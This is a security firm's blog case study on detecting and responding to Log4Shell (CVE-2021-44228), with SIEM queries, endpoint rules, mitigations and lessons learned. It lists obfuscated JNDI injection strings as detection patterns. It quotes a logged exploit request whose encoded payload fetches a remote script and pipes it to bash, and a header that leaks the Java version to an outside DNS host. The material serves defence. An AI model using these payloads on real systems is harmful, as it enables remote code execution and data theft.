Lessons Learned in Defending Against the Log4j Vulnerability – A Case Study

Authors of this Blog Post include SecureOps Employees – Michal Kavan, SOC Director – Andrew Morrison, SOC Manager and Alejandro Perez, Sr. SOC Analyst

In December, several Log4j vulnerabilities also known as Log4shell or LogJam in many of the IT security articles we have researched, were publicly exposed; IT teams like ourselves around the globe have been rushing to patch all of their applications against the flaws. Log4j is a popular open-source software library for implementing logging in Java applications and is installed on millions of systems and technologies. The first discovered zero-day vulnerability, tracked as CVE-2021-44228, allows logged data to include remote lookup that would then download and execute arbitrary code from a remote server, which is known as a Remote Code Execution (RCE) vulnerability.

In addition, as we suggested, since that first zero-day vulnerability was discovered on December 9th, there have been two new vulnerabilities discovered: CVE-2021-45046 and CVE-2021-45105.

Many Internet-facing machines, such as web servers, accept user input that is logged by a backend running Log4j without sanitization. That happens often even if the web server itself does not run Log4j, but some business application uses information coming from the user via the webserver. This allows attackers to inject the malicious strings via HTTP requests, for instance, which is the biggest attack surface observed so far.

Attackers have been scanning the web for easily accessible java services to attacks against popular distributed applications vulnerable to Log4j, including several targeting VMware Horizon servers.

Attackers leverage small, relatively simple files that often don’t trigger alerts with traditional next-generation antivirus (NGAV), endpoint protection platforms (EPP), or endpoint detection and response (EDR). If an attacker can bypass these defenses and gain access to a server, they can use remote access to execute further commands. The Log4j saga has opened the door to these attackers, who have installed web shells after exploiting flaws in the logging service.

A vast amount of IOCs have been consolidated in one GitHub page here.

Here are several additional resources that address the Log4j / Log4Shell Vulnerability

Click Here – National Vulnerability Database Link
Click Here – CVE Details Link
Click Here – Vendor (Apache) Advisory Link
Click Here – CISA Advisory Link
Click Here – NCSC Advisory Link

Ok, now that we have an idea of what Log4j is and how attackers are exploiting systems, let’s discuss how to protect your organization by identifying suspicious traffic, malicious code, and breaches. And we’ll conclude by providing several insights we’ve gathered, and our lessons learned.

 

Start by Analyzing Log Data

First, very simply, a log is a record of the events occurring within an organization’s computer systems, servers, and networks. Logs are composed of log entries – each entry contains detailed information related to a specific event that has occurred within an application, system, or network such as an error, log-in details, IP addresses accessing the system, system resources used and much more depending on the type of log. Many logs within an organization contain information or records specifically for IT security, though I’m sure you knew that.

Second, these computer security logs are generated by many sources, including security software, such as antivirus software (AV), firewalls (FW or NGFW), and intrusion detection (IDS) and prevention systems (IPS); operating systems on servers, workstations, and networking equipment like routers; and applications. In order to detect security issues automatically, security analysts set up monitors on the generated logs. The log monitors scan the log files and search for known text patterns and rules that indicate significant security events such as blacklisted application use, IP addresses from suspect geographies, or unusual data flow.

SOC analysts can detect exploitation attempts by inspecting log files for the characteristic URL patterns. In the case of Log4j specifically, attackers are currently using obfuscating techniques to avoid detection. A non-exhaustive list of exploit patterns that might help with detection includes:

• ${jndi:ldap://<ip_address>}
• ${jndi:ldaps://<ip_address>}
• ${jndi:rmi://<ip_address>}
• ${${::-j}ndi:rmi://<ip_address>}
• ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://<ip_address>}
• ${${lower:jndi}:${lower:rmi}://<ip_address>}
• ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://<ip_address>}
• ${jndi:dns://<ip_addess>}

We conducted a correlation and analysis of any log data that could indicate any surveillance or attack. Our end goal was to discover compromised systems talking back to attacker infrastructure. At that point we would report these assets for further remediation and response by the relevant teams in the organization.

 

Monitoring IDS/IPS or Intrusion Detection Systems and Intrusion Protection Systems

An intrusion detection system (IDS) will analyze and monitor network traffic for signs that indicate attackers are using a known cyber threat to infiltrate or steal data from your network. IDS systems compare the current network activity to a known threat database to detect several kinds of behaviors like security policy violations, malware, and port scanners. NOTE: This is a passive technology that can only identify an attack, not stop one like a SIEM.

An intrusion prevention system (IPS) lives in the same area of the network as a firewall, between the outside world and the internal network. IPS proactively denies network traffic based on a security profile if that packet represents a known security threat. NOTE: This technology can block traffic that could be malicious.

IDS/IPS technology behind your firewall can uncover thousands of threats daily that get past the firewall; they can also identify threats that are trying to leave the network. The challenge is that an analyst must proactively update the IDS/IPS with threats and policies and monitor it 24x7x365.

 

 

The known Indicators of Compromise (IOCs) relevant to this attack are comprised of IP addresses that have been observed attempting to exploit the vulnerability and contents of the requests being sent. The log sources with the best visibility into these IOCs will be firewalls, intrusion detection systems, web application firewalls, and proxies. While these log sources can potentially provide detection for the initial exploit, keep in mind that IOCs change over time and there are many possible variations of this attack that can evade rules-based detection.

Specifically, we monitored our IDS for events and extraction of payloads. We also conducted an analysis of potential data exfiltration via out of band interactions with attacker owned servers including secrets, keys, usernames, etc.

Examining and Tracking the Payload

Looking at the payloads of the detected exploit attempt gave us valuable intel on what the exploit was attempting to do. We could use these indicators to properly sweep the environment using SIEM tools in order to find more potentially vulnerable or compromised hosts. We were especially interested in any DNS and LDAP traffic towards IPs or domains that were found in the payload of the exploit. Callback towards those IPs/domains helped us to find internal assets where the exploit got successfully executed.

 

 

Building Custom SIEM Rules

SIEM’s have 3 critical capabilities in most organizations: (1) Threat Detection (2) Investigation and (3) Time to Respond. SIEM’s were developed to collect, store, analyze, investigate and report on logs and other data for incident response, forensics, and regulatory compliance purposes. Prior to SIEM’s, the logs and other data were often manually collected and logs from a variety of different technologies including servers, firewalls, antivirus, spam filters, and more had to be collected, normalized, and analyzed.

A SIEM ingests log data from a variety of network hardware and software and analyzes the data in real-time. A SIEM’s purpose is to correlate events and identify anomalies or patterns of behavior like traffic from suspicious IP addresses or unusual exfiltration of data that may indicate a breach.

In our case, we looked for any outbound LDAP requests or request protocols that may be communicated from a possible attacker infrastructure. We also search for known malicious DNS requests and traffic to known, validated indicators.

SANS presented a webcast called “What do you need to know about the log4j (Log4Shell) vulnerability.” Based on the information shared, there are some novel detections you could take in detecting possible attacks. The two novel detections are:

• Servers talking to new hosts
• Host connected to DNS host by IP address

 

Analyzing Firewall Traffic

A firewall is a network security device that examines network traffic. Based on rules and policies, the firewall inspects network traffic to block the traffic that is suspicious or unwanted. Firewalls developed by industry leaders like Cisco, Palo Alto, and Fortinet have been the first line of defense in network security for over 25 years. They establish a barrier between secured and controlled internal networks that can be trusted and untrusted outside networks.

A strong firewall is a vital component of any organization’s cybersecurity strategy. It serves as the first line of defense and is capable of filtering out a large amount of potential attack traffic before it can reach and impact an organization’s internal systems.

Filtering data packets is the base of how a firewall works. The main thing a firewall looks at is the IP address of the source or destination. If the IP address fails to follow the security rules that have been established, the data packet is rejected so you’re protected against malicious attacks.

Examining Firewall Traffic to Locate Suspicious IP’s

Firewall traffic Connection to Log4j Known Bad IP (this is a sample query that is overly simplified. We have removed customer-related info. It returns logging data confirming that we have internal assets communicating with attacker infrastructure. We’re not attaching results since this is confidential customer wise).

index=Firewall product=Firewall src_ip=* src_port=* dest_port=* action=* earliest=-48h@h _index_earliest=-10m@m latest=@m _index_latest=@m
| lookup local=true log4j_ips ioc_ip AS dest_ip ioc_port AS dest_port
| stats earliest(utc_time) AS utc_time earliest(_time) AS start_time latest(_time) AS end_time values(src_port) AS src_port values(dest_port) AS dest_port values(action) AS action values(product) AS product values(ifdir) AS ifdir values(rule_name) AS rule_name values(drop_reason) AS drop_reason values(reason) as reason count AS connection_count BY src_ip dest_ip

DNS traffic logging

This search returns DNS queries generated by an asset affected by the log4j vuln that was forced to generate a DNS request towards the attacker-controlled server.

index=dns_index event=”dns” qname=** interact.sh earliest=-1d
| stats values(qname) as qname latest(_time) as lasttime earliest(_time) as firsttime count by clientAddr
| convert ctime(*time)
| lookup dnslookup clientip AS clientAddr OUTPUT clienthost AS src_nslookup
| table clientAddr src_nslookup qname count firsttime lasttime
| sort -count

MISP IOC search
This search returns know IoCs in our threat intelligence database

index=misp misp_to_ids=True misp_event_published=True (misp_tag=”*log4j*” OR misp_event_info=”*log4shell*”) misp_value=* earliest=-3d
| dedup misp_value misp_orgc_name misp_threat_level sortby -misp_timestamp
| sort misp_threat_level misp_orgc_name
| `cso_mcr_ioc_misp_context_output`
| table misp_value misp_type misp_orgc_name misp_threat_level misp_context misp_tag misp_comment

 

Conducting a Forensic Analysis on Log4j / Log4Shell Attacks

As we suggested earlier, an adversary can exploit Log4Shell by submitting a specially crafted request to a vulnerable system that causes that system to execute arbitrary code. The request allows the adversary to take full control over the system. The adversary can then steal information, launch ransomware, or conduct other malicious activity. Conducting an investigation includes a variety of critical steps however we listed the primary steps below to be clear.

These steps include:

• Confirmation of vulnerable software installs via forensic analysis on assets suspected of being compromised,
• Consulted on refining alerts among emergency content, adding fidelity to generated alerts,
• Collection and validation of any Indicators of Compromise or IOC’s
• Identifying assets affected by Log4Shell and other Log4j-related vulnerabilities,
• Upgrading Log4j assets and affected products to the latest version as soon as patches are available and remaining alert to vendor software updates, and
• Initiating hunt and incident response procedures to detect possible Log4Shell exploitation.

Uncovering Malicious Requests

The following is an example of IIS server that logged a malicious request for a log4j exploit attempt:

C:\inetpub\logs\LogFiles\W3SVC1\u_ex211216.log:53:2021-12-20 04:45:28 REDACTED IP GET / x=${jndi:ldap://REDACTED IP:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk0LjU0LjE2MC4xNDk6NTg3NC82MS4yMzMuMTQ2LjIwNTo0NDN8fHdnZXQgLXEgLU8tIDE5NC41NC4xNjAuMTQ5OjU4NzQvNjEuMjMzLjE0Ni4yMDU6NDQzKXxiYXNo} 443 – REDACTED IP

Further steps to assess this potential compromise are understanding what the exploit is trying to do, what target architecture, if it matches the affected device, finding traces of code execution, etc.

Vulnerable Software Package Install – Endpoint Detection Rule Example

Apache Log4j Vulnerable File Written

fileWriteEvent/fileName matches (?i)LOG4J-CORE-2\.(0|1)([0-5])?\.
&
fileWriteEvent/fileExtension equal jar

A result of this alert would be:

fileWriteEvent/fullPath C:\WINDOWS\TEMP\{7F6A1B1B-C1F1-4F2B-A262-37B21B97DE43}\{7540AABA-E81D-41D3-BFEC-B9112C6F7FB1}\log4j-core-2.13.3.jar
fileWriteEvent/fileName log4j-core-2.13.3.jar
ileWriteEvent/username NT AUTHORITY\SYSTEM
fileWriteEvent/parentProcessPath C:\PROGRA~2\INSTAL~1\{8CCF3F6C-55B7-4A27-8C68-ADF11C0585A2}\setup.exe

What Attackers are Hoping to Find Upon Exploitation

Environment variables / hostnames/ account names / access keys. See example below:

Endpoint Detection Provides Local logs / Strings Uncovering Suspicious Requests

The following request was logged by EDR in an internet facing server
urlMonitorEvent/requestUrl /bd/public/frameset_top_html.jsp
urlMonitorEvent/urlMethod GET
urlMonitorEvent/httpHeader GET /bd/public/frameset_top_html.jsp HTTP/1.1 host: REDACTED connection: close accept-encoding: gzip, deflate accept: */* user-agent: ¿’¿” referer: %bf${jndi:dns://209521C${sys:java.version}.88em1sdrqhjwptxgc5ipa7whm8sygn.burpcollaborator.net/a} x-forwarded-for: REDACTED clientprotocol: http

 

 

Conclusion and Lessons Learned

Organizations should take the Log4j situation and use the following information as well as our Lessons Learned to identify and defend against Log4j-related attacks.

Vulnerable software/devices can be identified by:

• Matching asset inventories with vendor advisories.
• Analyzing software bill of materials (SBOM) manifests to identify the use of the vulnerable component.
• Searching the file systems of machines to identify class files, especially the JndiLookup.class which is used to access the remote services.
• Analyzing log files to identify entries coming from log4j and map them back to applications.

A number of mitigations can be employed to reduce the impact of Log4Shell:

• Upgrade Log4J to the latest version (>=2.15.0).
• Upgrade Java installations to 2019 or later editions.
• Where that isn’t possible, you can manually set the setting com.sun.jndi.rmi.object.trustURLCodebase to false.
• Setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
• If possible, block outgoing LDAP traffic.

Here are our 5 Key Lessons Learned in Managing Log4j / Log4Shell:

• Solid asset / application inventory in enterprises is essential for quick and accurate incident response
• Develop a Cyber Threat Intelligence playbook to operationalize public IoCs in a more proactive manner
• Social media like Reddit and Twitter feeds were the best source of IoCs early in the incident response
• Make sure your SOC can answer the question, how will we know if we’re being attacked, and can we respond?
• Remember that patching and upgrading does not mitigate any potential compromise in progress, so consider remaining in incident response mode and continuing active monitoring

 

To Learn More About How to Defend Against Log4j or other Vulnerabilities Please Call Us – as Always, We Are Happy to Help – 1 (888) 982-0678.

You Can Also Fill Out Our Contact Us Form Here to Talk with a Security Specialist – https://secureops.com/contact-us/